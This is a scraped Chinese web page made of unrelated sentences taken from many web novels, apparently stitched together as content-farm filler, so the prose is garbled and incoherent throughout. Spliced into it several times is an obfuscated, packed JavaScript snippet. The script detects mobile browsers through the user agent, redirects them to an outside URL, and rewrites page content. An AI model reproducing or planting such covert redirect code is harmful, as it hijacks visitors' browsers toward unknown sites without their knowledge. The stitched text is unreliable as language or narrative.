看来目前战况激烈,四个打牌的人都没空注意到刚进来的顾恋他们,只专注于牌局。 营业时间,再一次客满,这天达到了四十四名顾客同时在店内,酒吧彻底喧闹起来,往日门可罗雀的景象,也只存在在王杰的记忆深处,一去不复返。 一瓶酒的好坏主要有两方面决定,是不是经过严格的发酵储存,制酒的选材是不是精品,选材比陈酿更加重要。 幸亏早在开战之前,他们就将皇城的百姓疏散到了城外的底下避难所之中。这一拳破坏力确实够大,但还波及不到那里的百姓。 没办法,和老实坐在教室里学东西相比,教室外面的天地更让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461346|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们向往。 托尼在来之前曾经打探过,毕竟他曾经在王杰的这里吃过一次亏,当然上次确实是他出价太低,也是当时他还没认知到蛋奶酒的奇效,这种提升智力的东西,只有大量运用智力时才可以充分体现。 就在妹入手的那一瞬间,三个笑声同时传来,这笑声,除了王夙王凌的,便是王昀的。 “御魔剑!”一柄混沌不清的巨大长剑从他身下破土而出,带着轰轰声响迎上百艳少发出的那些火轮。 在酒吧中,托尼对蛋奶酒之中圣诞节节日饮品了如指掌,他知道,蛋奶酒的多种基酒匹配方法,他甚至在星巴克喝过不少加了极品咖啡的蛋奶酒。 她选择了立刻学习,制符术化为一道金光钻进了她的脑中,一阵眩晕之后,脑内便多了很多符箓知识。 正在此时,永远帅气的江城策,突然出现在了**强的面前,并一错身坐在了他的对面。 “咕咚”一声,老天爷大汗一把,瞅着阴云再次懂人意的袭来……时间速走,晚霞裹着暖暖的颜色迎接黑夜的降临。 张三拉着洪荒想城东冯府跑去,一路之上,洪荒看到竟然有十余辆人力车跑,而且都有客人,脸上露出满意的笑容。 让贤的故事讲到这也该结束了,结局如何?这自然是不言而喻的了。让贤的故事发生在一九八一年,现在是八四年,过去三年多了,化工七厂现在如何? 漫天灵气**终于被化解,成为流淌的灵液,并不断被丹田世界中的灵气大湖吸收,成为湖水。 “哎……”步梵长长地叹息了一声,望着这一片血雨腥风,他突然感觉眼前一片模糊,天地颠倒,黑夜交替。 “张燕姐,怎么不见有卖水果的?”木棉疑惑看向张燕,她发现逛了那么久都没看见卖水果的。 第一卷 第161章 让她以沈长安的性命起誓 最可恶的还要摆出一副我是无辜的样子,曹婉容气得牙痒痒的,平时你这么出卖我就算了,关键时候,你一句话都不说,只顾着自己逃跑,让我被夫君羞辱,我不好过,你也不能好过。 第4战对阵的是符天穹和提拉斯缪。提拉斯缪虽然为163级战力{相当于渡劫9星},但在那符天穹大乘4星面前还是不够瞧的,双方只打了30个回合不到,老迈的提亚斯缪就光荣的宣告退休了。 整个修心山庄都震惊了,屏幕上滚动着周爱玲的照片,与身份年龄,等相关简历,大家无法相信,一位在校的大学生,还没有走出校园,便是一位大型集团的公司总裁。 “卧操,这不是考验我定力嘛。”林霄心里暗骂。虽然,他从心里已经愿意相信蓝齐儿说的话,可刚才跳出来的妖月似乎比她更了解自己,他真的很想知道这一切究竟怎么回事。 布隆和大树一左一右站在两侧,千珏、圣枪以及露露站成一个圈,露露站在最后,千珏稍稍靠前。 接着罗云霄做了一系列的安排。他将西芒营地,马家集营地,天香营地,卧龙营地,迎风营地,青银山营地,天游寨营地,啸马营地,妖儿寨营地等9大营地调集了12个旅的兵力,全部向独秀山总部集结。 他们面对的五个青年已经汗流浃背了,但秦一三人连气都不喘,特别是那高大的胖子,就正眼看过他们一次,就再也没有认真看他们了。 什么人物会有这样大的神奇,自己的遗产内容,绝对不会有人知道,他是这几天才交给刘**,他相信刘**绝对不会泄密。 神思只在一瞬之间,望月却已经看得我满眼深意,又回头与阿母相视一笑。 “这次搜魂虽然没有搜出想要的东西,倒是被我搜到一句很可疑的话。”红姑歪着头慢慢回忆着。 “不清楚,既然来这里,应该是参加明天拍卖会的人吧。”赵梦玥讲道。 寸舌草弥散出的阴冷腐朽之气,隐约间还透着几丝阴煞凶厉。这种气息,绝不可能是寸舌草本身的,一定是常年受其他东西的感染才会这样。 而此刻在宝莱州某个城市酒楼角落的本尊唐锋看到这里,面色陡然一凝,几乎没有任何犹豫,直接凭空消失不见,下一刻便是进入到了自己的宇宙胚胎当中。 他们撕杀很惨烈,因为单从看到旁边那旁边的那个啥,旁边的那个掀起的一阵沙尘暴就可以 了解到了。 夏冷的冷峻脸庞,并未因为李义风的行为,话语,而有丝毫的动容。 最后,世界再次归于平静,熟悉的深邃,熟悉的黑暗,画面重叠,光影交织,一晃眼,面前又是那座红色的城墙。 莫天上场,诸人都是好奇,刚刚莫天测试出了玄级战气,震惊众人,而莫天的念力,又会达到怎样的程度呢? 地玄这个老头子在丰流还有张胖子的面前一直都是那一种和蔼可亲的那一种类型,如果有什么事情可以让这个地玄发着飙,那么这个事情肯定已经到了那一种十分火急的情况,这个火急的情况是什么呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461347|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我拉过她的手检查了下,确定伤口都好了,才将天灵珠给她,刚才进门看到的那一幕,我心都碎了,所以她给我两耳光我没有任何怨恨。但我不后悔将她和阴鬼锁在里面,因为要是没束缚,她绝会出来看龙啸天。 山管家是沉浸武道数十载的老手,但陈妍那弥散而来的怒火杀机,已经让他凛然。 在好命婆喜气洋洋的祝祷声中,我自铜镜中看到母亲带泪的微笑。 “还不错,另外加图索家族那边,实验能正常展开吗?”伯爵的脸被红色的烛光照亮,在天生英俊靓丽混血种中,他的面容显得有些普通。 “没有用,法医的检验没有查出任何线索,凶手的手上应该是带了手套的,没有任何的指纹,而且很多的人都是被一把捏死的。”老黄摇着头说到。 只见此时的扬眉,原本直挺挺的腰身对着前方深深的弯曲了下去。 我面上一红,略微窘迫的看了他一眼,而淳逾意本欲再说什么,却忽然转眸定定看我,目光肆无忌惮又毫不避讳。 “早就说了,相信预言,为何不听呢?”阴柔男造作的将手贴在他自己的右脸上。 当然,他们当中并不是所有人都来观看直播想耗流量赚点钱,很多人还有着各自心理的计较和打算。 路明非在诺顿馆里,躺在沙发上抖着腿,嘴角得意的翘起,鼻子不断伸长。 我现在似乎已经能够感觉到,坐在我对面的那个男子一直爱盯着我看了,但是我根本不敢看他,脑门儿上出了一层冷汗。 第一卷 第162章 占有了她的身,又想得到她的心 祁让突然觉得寒心,又觉得意兴阑珊。 他自认为自己已经做出了很多改变和让步,可他哪怕把命给她,也打动不了她那颗坚硬如铁的心。 那就这样吧! 他不是原本也没打算得到她的心吗? 只是后来占有了她的身子之后,就多出了一些贪念,想着人都是他的了,心自然也要归他。 “魏叔这又是何必?”吕玲绮摇了摇头,人各有志,她不想强人所难。 卿老爷子拿起早就放在桌面上的**,含着笑,毫不犹豫的冲自己心口捅下去。 “当然,也有真正的宗贼,一般官府剿灭的就是这些。”糜竺给刘毅添了杯酒,微笑道。 这清辉散开之后,成片摊开,从上往下笼罩四周,作一片光罩,融入虚空之中,将龙飞所在位置,周围数里全部扣在里面。 神力凝聚,化作火焰烧灼而过,洗净了污浊,却无法完美回复原本的锐利。 玄冰真气因为神剑诀的发力技巧,杀伤力固然极大,但寒气却被严重稀释,而卓沐风的这一指,却是不经处理的玄冰真气。 苏俊生感动于爱妻的心意,转头看到岳父也连连点头,表示愿意牺牲,为他引开敌人,他心里更软了。 喵十七可怜巴巴的趴在地上,她头一次发现,慕容离的眼神能够这么冷,这么无情,哪怕之前他回忆起他母妃和乳娘时,眼神也没有这么冷过。 事实上,刘毅也比较倾向于打这一仗,虽然曹丕也活不长,但刘备未必就能耗得过曹丕,哪怕他已经在汉中王府添上了延年益寿的属性也一样,属性不是万能的,否则南阳这次也不会死那么多人。 大概过了两个时辰,缓缓收功的元清微抬眼看向虚空,目光投射到蜀山气运图上。 下午,六点钟左右,筑梦集团财务部对筑梦杀毒软件的消费下载情况进行了详细统计。 虽然这位人证也不算是佑敬言的人,他们也确实没有几面之缘,但是佑敬言还是尝到了浓浓的背叛的滋味。 “那你们说,该如何?难道就坐看这大宋天下落到反贼的手中吗?”赵佶怒道。 他……突然感到,强者之路竟是那般的寂寞孤独,那条路,是血路,是死路,是苦海,是独立无援。 心下一横,二人一起用力,没几下就将这棺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461348|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材盖子刨个稀碎,可还没哥儿俩看清棺材板下的东西,就一声惨叫的双双跌了去。 正所谓林子大了什么鸟都有,人族自古以来就很团结,却也有许多的分支,其中有不服从统治者,被驱逐了出去,在西方自立门户。 晚上吃晚饭的时候,王雨阳当然没有在学校的食堂吃饭,他开着车,带着雨蒙去了外面,等到吃完了晚饭之后,他们才回到了宿舍。 佑敬言这个时候已经有了狂妄的资本了,大宋已经有了与辽斗一斗得能力了。况且这个时候在辽境内可是极其不安定的。 一声叫,众人惊,蔡京的脸上充满了喜色,众多前来贺寿的大臣却有喜有怨,如同一场大戏。 只见一条五米长,粗半米的巨大兽蹄,在诛仙剑下,宛如切瓜砍菜一般,被凌空斩断。 落雨眯了眯眼,也收了碎心琴。直接向碧霄冲去,她想看看内院的水平,试试碧霄的自身功夫如何。 贪婪地呼吸着外面的新鲜空气,万俟凉脸上洋溢着幸福的微笑,可是等到一缕薄荷香气侵入鼻间的时候,万俟凉顿时变得哀怨起来,缓缓地转过身去,万俟凉果然看到一张她不想看到的脸。 第一卷 第163章 那个人真的是祁望本人吗 晚余越想越不对,不由得一阵心慌。 随手,段飞扬将那两个保镖给丢到了后座上,自己也跳过来,坐在了副驾驶的位置,至于他的那辆车,自然是有人过来取。 长安城门,一辆马车在远处行驶而来,在马车的后面,还跟着一支千人的部队,停在了远处。 大家都闭上了嘴,**话虽然这么说,心里也一直在打鼓,这个地方的确透过古怪,左右两面都是墙壁,只有正面一个楼梯,直觉告诉他这楼梯上暗藏杀机。 就是在这一过程中,一个距离拉吉营地200多公里叫作隐龙会的势力第一次进入了北斗的视野。 空气似乎是一瞬间凝固,但是仅仅持续了几分钟,中年人便是放声大笑,端起了酒杯,递到了**的面前。 关雎尔没樊胜美那么能言善道,又性子恬静,不爱争功邀宠,本来可以说一大篇的功劳,她又是寥寥几个字打发了。 当然,当时她还不能体会那其中的千回百转,只是觉得刘天青似乎无所不能。 这些人还没有扑到易风冷身前就先已踩进了迟华的金属液体之中,本是流动的液体在他们踏入的瞬间凝固,脚被定在了原地再也拔不出来。 离此不远的一处山坳里。圣水镇的士兵正随意的坐在路旁抓紧时间喝水、进食,一个个脸上一脸的轻松。 他拉着明溪坐下说了好些话,明溪本来想去另外一边坐下的,但是导演不让。 一旁的沈瑜和沈羽不由好奇的询问着,他们倒是觉得有些奇怪。外公外婆可不是轻易上门的人,尤其,现在还什么事情都没有,这真让两人有些摸不清楚原因。 职业英雄的聚会,这可还是李亚林第一次听说,但还没等他把话问清楚,再看午夜那边,人家竟然直接一甩头,就这么走人了。 虽然三年之前,乾元就藩青丘府时,还跟流沙国搞过边境贸易,双方甚至有过一段合作蜜月期。 “说,以后不跟他见面,不跟他来往了。”霍子政低头,咬了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461349|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下她的下巴,威胁她。 伸出手,我只是轻轻用力,高大厚重的铁门竟然轻而易举的被推开了,紧接着一道刺眼的白光射入眼中,根本就无法睁开眼睛来看清里面。 开战之后,周青率领第一旅在镇南关跟狐魔军厮杀,虽然每天都有伤亡,但也给乾元带来可观的杀戮值。 周大人的心态差点没崩了,“这个时候了,你还想着鸡蛋?!”周大人冲胖总跑走的方向喊。 所有人的目光,纷纷投向声音传来的方向,林萧同样也转身看了过去。 龟派气功是龟仙人所创造的独门绝技,也正因如此,他在这一招上也才更有发言权。 “只是这样?”君璃无论如何也没想到顾氏帮了自己这么大一个忙,竟只是想分家出去单过,不由满脸的惊诧与不可思议。 **返回了远征军营地,这里的攻击也差不多刚刚结束,阿比斯特城的远征军们已经开始回援,大量的远征军进入营地,帮助这里的玩家将亡灵军队击退。 第一卷 第164章 他们之间隔着一整个天地 她面无表情环望一圈,总觉得别人在对她指指点点,就算嘴上没说,心里肯定也在笑话她、骂她神经病,不识好歹。 魔君吠陀罗手中魔元震荡,携带天地的伟力向着这道无尽的贪狼星光轰去。 忽然,猎犬开始不停地翻,血手镰接弹腿刀,弹腿刀接血手镰,连绵不绝,绝不间断。 “我妹妹死在了海神波塞冬的嘴里,就在阿灵厄港。安伦斯语气平淡。 他们跑到傅斯彦的面前,只见,傅斯彦紧紧地捂着胃,脸色白得好像被人抽空了似的。 就像沈飞鸾,她美貌与家世都无人能敌,旁人会觉得她做八皇子妃理所应当,谁也生不起相争的心思。 在昨夜入睡之前,他的手背忽然传来一阵深入骨髓的痛觉,就像有人硬生生地掰开了他的皮,用锤子震击着他的骨头。 此话一出,紫夜眼睛忽的湿润了,心跳不由得加速,因为血炎魔尊曾经说过同类的话。 她揉了揉发痒的鼻子,委屈地搜寻着傅斯彦的身影:说去上洗手间,可,这去洗手间的时间也太长了吧? 沈阮阮刚因为他的前一个“行 他好想打陆良一顿,这次这么硬气,也跟天天被他嘲讽,脱不了干系。 若是以现在的根基,王斩有把握不用借助盘古和燧人氏的力量,在两万年前单杀那九大至道者。 严肃地给出一段结论后,教授表示有患者出了突发状况,所谓的视频门诊就这样突兀地结束了。 一辆印着山西绿格旅游社字样的越野车,在丘陵之间的一条黄色公路上缓缓行驶。 一个染着黄毛的古惑仔从盲辉背着的布袋里掏出一包香烟,拆开之后自顾自地散给同桌的伙伴,丝毫没有给钱的意思。 他这算是求婚吗?映雪愣了下,然后笑了,“你傅九爷居然还在乎这些。毕竟他巧取豪夺的手段已经无人能及了。 沈阮阮知道这段时间维持的表面和平已经破裂了,也直接破罐子破摔,她抓到旁边的抱枕就扔了过去。 千早爱璃的大脑皮层像阳光下亮闪闪的渔网,过滤着细细碎碎的想法。 不过,这些同学薅的羊毛,对比起路风假公济私,给娜扎买的这一条心形蓝宝 石项链,完全不值得一提。 便这一变化弄得措手不及的费老,也是颇为狼狈的连连退后了好几步,方才将那力道尽数卸下。 轻松点化神鱼之人,来自旧圆的凶狠怪物,竟就此倒下了。六耳摔入水中,身后水面留下的两排脚印就此消散;天穹上的‘足迹倒影’也随之化开,丝丝缕缕、血纹似的飘荡开去。 “琼哥是他们五个中,实力最强大的,同时,也是唯一一个可以直接攻击灵魂的。”看到这一幕,程龙放宽了心。 随后,浦原在最先替换到现世的那个“空座町”中,将四根换界柱直接摆在明面上,目的就是为了吸引诸位十刃的注意。 “第三个条件,凡是进入我红花会的,都要在额头上纹上高跟鞋,意思是永远被我踩在脚下,你可答应?”花菱萱顿了顿,看着我说了出来。 因此象大黄蜂,路瘴这类机器人,它们是特殊中的特殊,本身变形金刚就是特殊种类机器人,拥有智慧加成,剧情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461350|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人物又享受剧情加成,其实力就可想而知了。 韩枫带着费老,再听到里面传来的打斗声,没有任何停留的直接冲了进来。 要知道,这玄尊大陆,一共有b个帝国。每一个帝国,都有几大宗门作为基石,顶粱柱。 他真正想要做的,是趁着这个机会,把这个家族的耻辱送出去。三头猿所在的家族,从来都没有出过这种长了三个脑袋的怪物,三头猿,还是第一个。 中间的一个,似乎正是左方宇,状态还不错,他可能也意识到,今天就是他丧命的日子吧? 简希曼垂眸,她当然知道自己是傅立恒的老婆,自己根本不可能住在公司里,她只是不想回去惹烦恼而已。 可即便是他,也仅仅只是将缠绕武装色霸气这种战斗技巧,修炼到了极致。 可至今他什么都没做,相反还一直和我说话,态度果然是有些耐人寻味。 同时,以南蜀子武雄将军的蓝巾军为主力,将与榆枫拓将军一起,首先光复雪蓝城,赶走占据雪蓝城的澹台氏和烈山氏军队,将雪蓝城作为榆枫格枝联合国的首都。 于是制片人就很想要林子爱几人过来,如果是她们,幽荧可能要开始哄人了吧。 确实,有些东西是非常神秘的,尤其是传统的武术,大部分都是花架子,但也不乏真正的高人,还是有些功夫的。 可像这么主动的自我要求,其实她很少做过,要不是戴上口罩徐冉看不清,她未必会当面说这个事。 众人望去,只见阿蓝坐着的地方有一滩鲜血,红色的血渍在她身下逐渐扩散,不知什么大腿上也有血渍。 第一卷 第165章 等待着真相揭晓的时刻 孙良言哈着腰等了半天,祁让最终也没有把原因说出口。 他闭上眼,眼前闪过那个在风雪中渐渐远去的单薄身影。 他是堂堂天子,他怎么能承认自己嫉妒一个太监呢? 这也是天下大势的根源,所谓的合久必分,就是因为和平的降临,人口开始出现大规模的增加,到了一定程度,土地和粮食已经无法养活的时候,必然会引发动荡。 现在,她终于明白,为什么楚如梦会对一个区区高中生另眼相待了。 航海探险,最关键的,就是找不到任何的方向,一个大海之上,茫茫的一片,到处都没有任何的标记,能能够碰运气一样的寻找,类似这样的,最少节约了几十倍的精力。 感慨宗盟能量巨大的同时,她也同时明白了宗盟要她夺冠的决心。 眼看出发在即,雷风行也顾不得许多,而且也不能追究叶浩轩击杀守卫这件事了。 这一仗规模太大,干掉鬼子一个亲王,一个大将,一个中将,几个精英军官,鬼子的疯狂报复是必然的,张逸要做最坏打算。 张逸手里握着**,听鬼子这么嚷嚷,直接一下戳进咽喉,捅死,飞起一脚,踹了老远。 可是真正落到实处,特别是西平湖和整个西北农田水利工程,逐步完工的时候,他们却发现,水田,其实没有那么的麻烦,只要保证有水,再加上一些肥料和水稻,开辟水田,并没有众人想象的那么的困难。 原来,这月亮之井乃是连通宇宙的通道,能够将宇宙中的能量传递到这个世界中来。 闻锋想要再催动起刚才的力量,却发觉脑海中的种子暗淡无光,似乎刚才的一击耗尽了所有力量。这次,只有闭目等**。 “大驾光临?这是你绝杀的地方?”流泉不屑的一冷哼,眼中上过一道杀气。 真白一阵吃痛,自己的右臂带起一阵撕心裂肺的疼痛,这是艾莉卡受伤的标志。 “我看到了一个家伙,可以操控植物,和两年后的乌索普的能力有点像,但是好像不止这一个能力,而且也不需要使用那个大弹弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461351|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”杨程也接着说道。 那事后,贾母的情况变得越来越严重,更时而疯疯癫癫,每天说着胡话,甚至夜里也不让其他人与她一起睡,还把老妈子赶了出来。 阿里卡帝国的“可控热核聚变”设备是用氘做为聚变原料,聚变以后产生氢,对环境没有污染,是一种很环保的获取能源的方式,而地球海洋中的氘取之不尽,这套设备的制造技术能直接在地球上推广使用。 身负九江防御之责的张发奎,愧疚之下,向军委会自请处分。老蒋在命其jiāo出指挥权调回武汉的同时,又撤销了对作战失利负有责任的预备第11师、第128师的番号。 “为什么?这是严重侵犯新闻自由的!”不仅艾尔索普反对,阿班、鲍威尔、斯诺也面色不愉。 “怎么可以这么儿戏?不行,太危险了,一个行差踏错,便有生命危险。”姜部郎满脸皱眉地摇了摇头。 孙殿英部如此行径,不但引了临河、五原一带灾民的惶恐,致使民众纷纷逃离,也引来了傅作义的怒火。 第一卷 第166章 你是怕朕烧不死吧? 守门的侍卫却不理会晚余的急切之情,伸手将她拦住,面无表情道:“小主稍等,属下先去请示皇上。” 多少万年了,他们十二个看似风光,其实又何尝不是别人的棋子,然而想要对抗诸神,依靠他们十二个简直是天方夜谭,所以他们需要一把能够斩下诸神首级的利剑。 猿飞日斩对自己的关照和帮助很多,一点也不比自来也差多少,甚至在猿飞日斩面前,张烨可以放下伪装在自己脸面上的面具。 在黄海上,一艘巨大的豪华游轮,甲板上又不少游客正在欣赏着美丽的大海,白色的海鸥。 “正是如此,那董卓虎狼之辈,常有不臣之心,恐怕将来要与之对上,不若早图之?”曹操眼睛一亮,对着长天说道。 每一颗星辰都承载着浩瀚的能量,叶无双的神魂一动,亿万星辰像似复苏一般,齐齐一颤,浩瀚的力量从叶无双的身体释放而出。 沐阳和沐月也能明白驴蛋的想法,可最后任凭他们怎么劝说,驴蛋是铁了心不愿意和他们一起进城。 "他到底怎么了?"幻想梦看着阿尔卡兹身体的能量突然剧增失控,忍不住问道。 一名神色孤傲的白衣青年修士踏入了酒楼,他的身后还跟了不少修士,他们的修为大都是圣人级别。 上官飞舞,乃是真武大陆的顶尖天才,又是上古星族中继承星宿之力的族人。 而能够参与丹神大赛海选的炼丹师,都是所有神级炼丹师里面的佼佼者。 让他们认清自己,在这个天才集中地,所谓的天才在这里不算什么。 牢笼中的风霆和他身后的张从学都感到压力很大,都不由得向后退去。 明人嗤笑一声,“如果你们不愿意,大可解散长生门,何必做表子又立牌坊,给自己寻找一个敌人? “这只大胖桔叫肥仔,名如其猫吧,那只三花的叫来宝,水湄姐说自从有了来宝,我们客栈的生意就好多了。”何灵语一一做着介绍,眼睛却瞟向不远处。 “宗主虽然没表现出什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461352|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么来,不过感觉他的心情也不太好。”段百里说道。 例如血族中立党,狂人部落,以及人世间的总部,都是他们的目标。 片刻后,辰昊从悟道中醒来,眼中流露出惊喜,迅速起身向药极尊者恭敬一拜:“多谢前辈赐道之恩!”药极尊者微微摆手:“一切皆是你的悟性和造化,与老夫何干?坐吧!”。 “你**是谁?”蛮天见这人竟然和他一样,都是体修武者,而且淬体的程度,竟然还在他之上,要知道,他刚才轰出去的那一拳,可是带着天雷之威的,而对方只是普通的一拳,就挡了下来。 但在此时此刻面对着眼前的这样的景象,唐洛洛已经是紧张的没有心思再去想这些事情了。 此庐**在我门极寒冰窟的冰眼之上,通过法阵可以不断汲取冰窟寒气,用来保存药力,融炼丹药,与火炼之法完全相反。稍后,你将会看到他的部分威能”。 许林安之前说过,我们三个在传送过来后不一定在一起,现在看来果真如此。 第一卷 第167章 请皇上处死妖妃江晚余 她穿最简单的白T恤牛仔短裤,就可以比那些穿LV、香奈儿的人更靓丽迷人。 像被一记重锤敲过一般,谢姓首领当场便身形一晃,面上血色飞速的褪去。 身为子公司的空降大佬,对于裴靖西塞个把人进公司的行为,人事部门表示完全理解,办事效率也出奇的高。 心头满是复杂,但墨君还是没忘自家上级的吩咐,既然发现了异能者,那就一定要带回组织的。 她不确定他说的是真还是假,但是在他的脸上看不出来有丝毫的伪装。 他下了楼,见季北坐在餐桌上,不像以往一样坐在季北的身侧,而是拉开了季北对面的椅子,坐了下去。 “那便等同是与你说,官家当真是有生之年,想将曾经愿景一一照进现实来。杨廷礼点点头,继续将折页看完,看毕合上折页,杨廷礼复又轻点一下头,紧接着与王醴细细分说。 如果不是什么大事,安然不会这个样子,可是他实在是想不出来究竟发生了什么事情,才让她如此避忌自己。 “又不疼,我知道妈爱我,舍不得打。阿煦边说边翻身,躺地上冲孟约做鬼脸。 菲奥娜轻轻的摇了摇头。纵然她恢复能力惊人,甚至是拥有超越常人的体魄。但是当她意识到自己的虚弱的时候,全身便仿佛回应她的思维那般,涌上了一股环绕在心头无力感。 聂倩倩虽然害羞,可是这新奇的国家还是促使她抬起头,甚至对珠宝店里精致的首饰看了一眼。 苏联也不知道是不是良心发现了。看见王氏**,抱在哪里同哭。鼻涕一把眼泪一把的干嚎。那样子吓到村里人都不敢过去仔细看看,只能远远的瞅着。 莫尚谦自是明白聂倩倩的担忧,聂倩倩对他来说是失而复得的‘宝物’所以无论如何他都不会再让聂倩倩离开自己,即使所有的人都反对,他都要义无反顾的留在聂倩倩的身边。 木鱼脑袋不开窍,日夜敲打也空忙。忠言逆耳,置之度外,我行我素,一切照旧。 “当然了,毕竟是一起玩到大的伙伴嘛!最重要的是,我们还是三年同桌,他生日怎么可以不送礼物?虽然现在不在一起,但情谊还是不变的。 “我去停车,马上回来。武战向乔北打过招呼,驾着捷达往外面驶去。乔北这才想起,自己这车都是偷来的。 “没事。 ”史可雅明显不愿意提起昨晚发生的事,走到洗手间,看着镜中的自己。 谢清泉把宫喜鹊拉到门外,悄悄说:这事,恐怕非得你圆场不可。 被王思怡的话语刺激到了,可是许菲菲也不得不承认,自己的确融入不了王思怡的那个圈子,无论她穿的衣服有多名贵,他们看她的眼神都是轻飘飘的。 他说到这里就打止了,话虽然没有说完,但是蒋晟又怎么能听不出其中的意思? 我把黑珐琅拿到手,夸赞几句,李长歌要是不好意往回要,那火机说不定就是我的了,以后拿着个名品火机点烟,那得多牛叉? “你杀了我吧!”包万全跪在地上想要抱我的腿,却被我一脚踹了出去。 算下来750金币一朵,绝对算得上比较实惠,很明显就是方昊在偿还人情了。 龟肉:品质二级,微量增加食用者细胞活性,微量改善食用者代谢机能,一定程度增强食用者吐息能力。 这样算来的话,两人的实力倒是没有差得上太多。众人的心思也就没有了比赛之前的轻松了。开局第一场大家都想要讨一个彩,但是这个彩也都是知道没有那么容易得到的。 当然,王平也有些心虚,毕竟自己是用血火咒杀的人,不知道他们会不会看出什么来? “王仙师想去,只要不进入太深,倒是不会遇到危险,上次活着出来的仙师,都是练气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461353|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三层的,其余的都死的死,残的残。哎!”高启遗憾的说道。 第一个房间偷袭,解决两个。然后有迅速进入第二个房间解决一个,紧接着是第三个房间解决一个,第四个房间三个。 不多时,三辆车就到了八角寨区外面,按照事先商量好的,就由沈棠和肖海鹏两人进去侦查,有机会就直接把人带出来就行了。 “少自恋了,你又不帅?至少没有帅到我惊艳的标准。”董佳的话有些伤人。 